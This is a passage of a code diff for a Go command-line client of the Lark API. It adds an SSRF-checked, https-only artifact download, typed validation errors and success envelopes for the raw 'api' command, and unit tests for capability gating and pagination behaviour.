fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
|
||||
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
|
||||
// download-hardened client; an inline-bytes artifact is written directly. The
|
||||
// output path is validated with SafeOutputPath (relative, within the CWD)
|
||||
// before any write.
|
||||
func downloadArtifact(opts *taskOptions) error {
|
||||
safePath, err := validate.SafeOutputPath(opts.Output)
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
|
||||
WithParam("--output").WithCause(err)
|
||||
}
|
||||
|
||||
// Overwriting a local file destroys its content irreversibly — a high-risk
|
||||
// write. It goes through the same confirmation contract as other --force
|
||||
// gates (config bind): without --force, a would-be overwrite returns
|
||||
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
|
||||
// symlink at the path counts as existing rather than being followed.
|
||||
if !opts.Force {
|
||||
if _, statErr := vfs.Lstat(safePath); statErr == nil {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
|
||||
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
|
||||
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
|
||||
}
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
art, err := resolveDownload(opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
data := art.Bytes
|
||||
if art.URL != "" {
|
||||
data, err = artifactFetch(ctx, opts.Factory, art.URL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
|
||||
fmt.Fprintf(out, "path: %s\n", safePath)
|
||||
fmt.Fprintf(out, "bytes: %d\n", len(data))
|
||||
if art.Mime != "" {
|
||||
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
|
||||
}
|
||||
// suggested_name is the server-suggested name, for reference only; the
|
||||
// actual on-disk path is already the safePath (-o) above.
|
||||
if art.Name != "" {
|
||||
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"artifact_id": opts.ArtifactID,
|
||||
"path": safePath,
|
||||
"bytes": len(data),
|
||||
"mime": art.Mime,
|
||||
"suggested_name": art.Name,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
|
||||
// a download-hardened HTTP client from the Factory and reads at most
|
||||
// maxArtifactBytes of the body. The artifact host is untrusted external content,
|
||||
// so both the URL and the redirect chain are guarded.
|
||||
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
|
||||
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
|
||||
WithCause(err)
|
||||
}
|
||||
// Artifact bytes come from an untrusted host over the network; require https
|
||||
// so the payload cannot be read or tampered with in transit. The SSRF check
|
||||
// above already rejects private/loopback hosts and non-http(s) schemes, so a
|
||||
// surviving non-https URL is plain-text http.
|
||||
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https(拒绝明文下载)")
|
||||
}
|
||||
base, err := f.HttpClient()
|
||||
if err != nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
|
||||
}
|
||||
client := hardenDownloadClient(base)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes))
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
1021
cmd/agent/task_test.go
Normal file
1021
cmd/agent/task_test.go
Normal file
File diff suppressed because it is too large
Load Diff
155
cmd/agent/unsupported_test.go
Normal file
155
cmd/agent/unsupported_test.go
Normal file
@@ -0,0 +1,155 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// newUnsupProvider builds a stub *Provider driving the command-layer
|
||||
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
|
||||
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
|
||||
// unsupported_capability before any network access. GetTask is wired to return a
|
||||
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
|
||||
// re-derive it). Send is wired (core, required by Register) but never called
|
||||
// here. There is no capability-refusal code in the provider — "unsupported" is
|
||||
// expressed purely by the absent fields.
|
||||
func newUnsupProvider() *iagent.Provider {
|
||||
return &iagent.Provider{
|
||||
Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
panic("unsup provider: Send should not be called")
|
||||
},
|
||||
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
// Deliberate mismatch: State is terminal but IsTerminal=false (simulating
|
||||
// a provider that forgot to set it or set it wrong).
|
||||
return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
|
||||
},
|
||||
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
|
||||
}
|
||||
}
|
||||
|
||||
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
|
||||
// panics on duplicates). Like the other fakes it leaks into the package-level
|
||||
// registry for the remaining tests of this package run.
|
||||
var registerFakeUnsupOnce sync.Once
|
||||
|
||||
func registerFakeUnsup() {
|
||||
registerFakeUnsupOnce.Do(func() {
|
||||
iagent.Register("fakeunsup", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newUnsupProvider(), nil },
|
||||
Label: "test fake (unwired optional capabilities)",
|
||||
AgentRefFormat: "fakeunsup:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindInstance,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// assertUnsupportedCapability pins the full capability-gate contract on err:
|
||||
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
|
||||
// `agent card <ref>`, and — because the Factory's httpmock registry has zero
|
||||
// stubs — no HTTP was issued (any network attempt would have surfaced as an
|
||||
// "httpmock: no stub" error instead of the typed one).
|
||||
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported capability should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card "+ref) {
|
||||
t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
|
||||
}
|
||||
if strings.Contains(err.Error(), "httpmock") {
|
||||
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
|
||||
// provider that does not wire ListContexts returns typed unsupported_capability
|
||||
// (exit 2) with the agent-card hint, without any HTTP.
|
||||
func TestContextListUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
|
||||
// `context delete` path (--yes passes, provider does not wire DeleteContext).
|
||||
func TestContextDeleteUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
|
||||
// provider returning a State/IsTerminal-mismatched task (completed +
|
||||
// is_terminal=false) must emit is_terminal=true — the command layer derives
|
||||
// the flag from State, the single source of truth.
|
||||
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentTaskGetRun(opts); err != nil {
|
||||
t.Fatalf("task get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["state"] != "completed" {
|
||||
t.Fatalf("data.state should be completed, got %v", data["state"])
|
||||
}
|
||||
if data["is_terminal"] != true {
|
||||
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
|
||||
// (task list / context get share this helper for their nested Tasks).
|
||||
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
|
||||
ts := normalizeTaskSummaries([]iagent.TaskSummary{
|
||||
{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
|
||||
{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true}, // wrong
|
||||
})
|
||||
if !ts[0].IsTerminal {
|
||||
t.Error("completed summary should derive is_terminal=true")
|
||||
}
|
||||
if ts[1].IsTerminal {
|
||||
t.Error("working summary should derive is_terminal=false")
|
||||
}
|
||||
if normalizeTask(nil) != nil {
|
||||
t.Error("normalizeTask(nil) should be nil-safe")
|
||||
}
|
||||
}
|
||||
101
cmd/api/api.go
101
cmd/api/api.go
@@ -10,6 +10,7 @@ import (
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
@@ -66,8 +67,21 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP
|
||||
|
||||
cmd := &cobra.Command{
|
||||
Use: "api <method> <path>",
|
||||
Short: "Generic Lark API requests",
|
||||
Args: cobra.ExactArgs(2),
|
||||
Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
|
||||
Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
|
||||
|
||||
Prefer the typed domain command when one exists — it validates parameters,
|
||||
shows the Risk level, gates destructive calls behind --yes, and carries usage
|
||||
guidance that this raw command does not. If a domain command covers your task
|
||||
(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
|
||||
|
||||
Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
|
||||
newer/preview APIs), where you already have the HTTP path from the Lark docs.
|
||||
|
||||
Examples:
|
||||
lark-cli api GET /open-apis/calendar/v4/calendars
|
||||
lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
|
||||
Args: cobra.ExactArgs(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
opts.Method = strings.ToUpper(args[0])
|
||||
opts.Path = args[1]
|
||||
@@ -123,7 +137,13 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
|
||||
|
||||
// stdin conflict: --params and --data cannot both read from stdin, regardless of --file.
|
||||
if opts.Params == "-" && opts.Data == "-" {
|
||||
return client.RawApiRequest{}, nil, output.ErrValidation("--params and --data cannot both read from stdin (-)")
|
||||
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--params and --data cannot both read from stdin (-)").
|
||||
WithHint("pass at most one flag as '-'; give the other inline JSON or @file").
|
||||
WithParams(
|
||||
errs.InvalidParam{Name: "--params", Reason: "reads from stdin (-)"},
|
||||
errs.InvalidParam{Name: "--data", Reason: "reads from stdin (-)"},
|
||||
)
|
||||
}
|
||||
|
||||
params, err := cmdutil.ParseJSONMap(opts.Params, "--params", stdin, fileIO)
|
||||
@@ -153,7 +173,10 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
|
||||
return client.RawApiRequest{}, nil, err
|
||||
}
|
||||
if _, ok := dataFields.(map[string]any); !ok {
|
||||
return client.RawApiRequest{}, nil, output.ErrValidation("--data must be a JSON object when used with --file")
|
||||
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--data must be a JSON object when used with --file").
|
||||
WithHint(`with --file, --data carries multipart form fields, e.g. --data '{"image_type":"message"}'`).
|
||||
WithParam("--data")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,7 +219,13 @@ func apiRun(opts *APIOptions) error {
|
||||
}
|
||||
|
||||
if opts.PageAll && opts.Output != "" {
|
||||
return output.ErrValidation("--output and --page-all are mutually exclusive")
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--output and --page-all are mutually exclusive").
|
||||
WithHint("drop --page-all to save a binary response, or drop --output to paginate JSON").
|
||||
WithParams(
|
||||
errs.InvalidParam{Name: "--output", Reason: "conflicts with --page-all"},
|
||||
errs.InvalidParam{Name: "--page-all", Reason: "conflicts with --output"},
|
||||
)
|
||||
}
|
||||
if err := output.ValidateJqFlags(opts.JqExpr, opts.Output, opts.Format); err != nil {
|
||||
return err
|
||||
@@ -233,7 +262,7 @@ func apiRun(opts *APIOptions) error {
|
||||
}
|
||||
|
||||
if opts.PageAll {
|
||||
return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut,
|
||||
return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut, opts.Cmd.CommandPath(),
|
||||
client.PaginationOptions{PageLimit: opts.PageLimit, PageDelay: opts.PageDelay})
|
||||
}
|
||||
|
||||
@@ -243,7 +272,7 @@ func apiRun(opts *APIOptions) error {
|
||||
// pass on *output.ExitError values. Typed *errs.* errors that flow
|
||||
// through here keep their canonical message / hint from BuildAPIError;
|
||||
// MarkRaw is a no-op on those (it only flips a flag on *ExitError).
|
||||
return output.MarkRaw(err)
|
||||
return errs.MarkRaw(err)
|
||||
}
|
||||
err = client.HandleResponse(resp, client.ResponseOptions{
|
||||
OutputPath: opts.Output,
|
||||
@@ -263,7 +292,7 @@ func apiRun(opts *APIOptions) error {
|
||||
// MarkRaw: see comment above on the DoAPI path. Skips legacy
|
||||
// *ExitError enrichment; typed errors flow through unchanged.
|
||||
if err != nil {
|
||||
return output.MarkRaw(err)
|
||||
return errs.MarkRaw(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -272,46 +301,76 @@ func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.Cl
|
||||
return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
|
||||
}
|
||||
|
||||
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, pagOpts client.PaginationOptions) error {
|
||||
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
|
||||
if pagOpts.Identity == "" {
|
||||
pagOpts.Identity = request.As
|
||||
}
|
||||
// When jq is set, always aggregate all pages then filter.
|
||||
if jqExpr != "" {
|
||||
if err := client.PaginateWithJq(ctx, ac, request, jqExpr, out, pagOpts, ac.CheckResponse); err != nil {
|
||||
return output.MarkRaw(err)
|
||||
result, err := ac.PaginateAll(ctx, request, pagOpts)
|
||||
if err != nil {
|
||||
return errs.MarkRaw(err)
|
||||
}
|
||||
return nil
|
||||
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
|
||||
output.FormatValue(out, result, output.FormatJSON)
|
||||
return errs.MarkRaw(apiErr)
|
||||
}
|
||||
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
|
||||
CommandPath: commandPath,
|
||||
Identity: string(pagOpts.Identity),
|
||||
JqExpr: jqExpr,
|
||||
Out: out,
|
||||
ErrOut: errOut,
|
||||
})
|
||||
}
|
||||
|
||||
switch format {
|
||||
case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
|
||||
pf := output.NewPaginatedFormatter(out, format)
|
||||
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) {
|
||||
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
|
||||
// Streaming formats intentionally emit each page after that page has
|
||||
// passed safety scanning. A later page may still fail, so callers
|
||||
// must use the exit code to distinguish complete vs partial output.
|
||||
scanResult := output.ScanForSafety(commandPath, items, errOut)
|
||||
if scanResult.Blocked {
|
||||
return scanResult.BlockErr
|
||||
}
|
||||
if scanResult.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scanResult.Alert)
|
||||
}
|
||||
pf.FormatPage(items)
|
||||
return nil
|
||||
}, pagOpts)
|
||||
if err != nil {
|
||||
return output.MarkRaw(err)
|
||||
return errs.MarkRaw(err)
|
||||
}
|
||||
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
|
||||
output.FormatValue(out, result, output.FormatJSON)
|
||||
return output.MarkRaw(apiErr)
|
||||
return errs.MarkRaw(apiErr)
|
||||
}
|
||||
if !hasItems {
|
||||
fmt.Fprintf(errOut, "warning: this API does not return a list, format %q is not supported, falling back to json\n", format)
|
||||
output.FormatValue(out, result, output.FormatJSON)
|
||||
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
|
||||
CommandPath: commandPath,
|
||||
Identity: string(pagOpts.Identity),
|
||||
Out: out,
|
||||
ErrOut: errOut,
|
||||
})
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
result, err := ac.PaginateAll(ctx, request, pagOpts)
|
||||
if err != nil {
|
||||
return output.MarkRaw(err)
|
||||
return errs.MarkRaw(err)
|
||||
}
|
||||
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
|
||||
output.FormatValue(out, result, output.FormatJSON)
|
||||
return output.MarkRaw(apiErr)
|
||||
return errs.MarkRaw(apiErr)
|
||||
}
|
||||
output.FormatValue(out, result, format)
|
||||
return nil
|
||||
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
|
||||
CommandPath: commandPath,
|
||||
Identity: string(pagOpts.Identity),
|
||||
Out: out,
|
||||
ErrOut: errOut,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,8 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"sort"
|
||||
@@ -11,6 +13,7 @@ import (
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcs "github.com/larksuite/cli/extension/contentsafety"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
@@ -66,6 +69,24 @@ func TestApiCmd_DryRun(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// Regression: --params null parses to a nil map; writing page_size onto it must
|
||||
// not panic. Symmetric to the typed-flag overlay path in cmd/service — both
|
||||
// write into the map ParseJSONMap returns.
|
||||
func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
cmd := NewCmdApi(f, nil)
|
||||
cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("--params null with --page-size should not error, got: %v", err)
|
||||
}
|
||||
if out := stdout.String(); !strings.Contains(out, "page_size") {
|
||||
t.Errorf("expected page_size applied over null --params, got:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_BotMode(t *testing.T) {
|
||||
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
@@ -83,8 +104,19 @@ func TestApiCmd_BotMode(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), "success") {
|
||||
t.Error("expected 'success' in output")
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if got["ok"] != true || got["identity"] != "bot" {
|
||||
t.Fatalf("unexpected envelope: %#v", got)
|
||||
}
|
||||
if _, hasCode := got["code"]; hasCode {
|
||||
t.Fatalf("success envelope leaked outer code: %s", stdout.String())
|
||||
}
|
||||
data, ok := got["data"].(map[string]interface{})
|
||||
if !ok || data["result"] != "success" {
|
||||
t.Fatalf("data = %#v, want result=success", got["data"])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -310,8 +342,16 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
|
||||
t.Error("expected 'falling back to json' in stderr")
|
||||
}
|
||||
// Should output JSON result to stdout
|
||||
if !strings.Contains(stdout.String(), "u123") {
|
||||
t.Error("expected user_id in JSON output")
|
||||
var got map[string]interface{}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
|
||||
}
|
||||
data, ok := got["data"].(map[string]interface{})
|
||||
if got["ok"] != true || got["identity"] != "bot" || !ok || data["user_id"] != "u123" {
|
||||
t.Fatalf("unexpected fallback envelope: %#v", got)
|
||||
}
|
||||
if _, hasCode := got["code"]; hasCode {
|
||||
t.Fatalf("fallback success envelope leaked outer code: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -324,7 +364,7 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/im/v1/chats/oc_xxx/announcement",
|
||||
Body: map[string]interface{}{
|
||||
"code": 230001, "msg": "no permission",
|
||||
"code": 230027, "msg": "user not authorized",
|
||||
},
|
||||
})
|
||||
|
||||
@@ -336,12 +376,20 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
|
||||
t.Fatal("expected an error for non-zero code")
|
||||
}
|
||||
// Should still output the response body so user can see the error details
|
||||
if !strings.Contains(stdout.String(), "230001") {
|
||||
if !strings.Contains(stdout.String(), "230027") {
|
||||
t.Errorf("expected error response in stdout, got: %s", stdout.String())
|
||||
}
|
||||
if !strings.Contains(stdout.String(), "no permission") {
|
||||
if !strings.Contains(stdout.String(), "user not authorized") {
|
||||
t.Errorf("expected error message in stdout, got: %s", stdout.String())
|
||||
}
|
||||
if strings.Contains(stdout.String(), `"ok": true`) || strings.Contains(stdout.String(), `"ok":true`) {
|
||||
t.Fatalf("unexpected success envelope on error path: %s", stdout.String())
|
||||
}
|
||||
requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
|
||||
var permErr *errs.PermissionError
|
||||
if !errors.As(err, &permErr) {
|
||||
t.Fatalf("expected PermissionError, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
|
||||
@@ -377,6 +425,274 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
|
||||
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0, "msg": "ok",
|
||||
"data": map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": "safe-page"}},
|
||||
"has_more": true,
|
||||
"page_token": "next",
|
||||
},
|
||||
},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/contact/v3/users",
|
||||
Body: map[string]interface{}{
|
||||
"code": 230027, "msg": "user not authorized",
|
||||
},
|
||||
})
|
||||
|
||||
cmd := NewCmdApi(f, nil)
|
||||
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("expected error for non-zero code on later page")
|
||||
}
|
||||
requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
|
||||
out := stdout.String()
|
||||
if !strings.Contains(out, "safe-page") {
|
||||
t.Fatalf("expected earlier successful page to remain streamed, got: %s", out)
|
||||
}
|
||||
if strings.Contains(out, "230027") || strings.Contains(out, "user not authorized") {
|
||||
t.Fatalf("streaming stdout should not contain raw error JSON, got: %s", out)
|
||||
}
|
||||
if strings.Contains(out, "\n \"code\"") {
|
||||
t.Fatalf("streaming stdout should not contain indented JSON error dump, got: %s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
|
||||
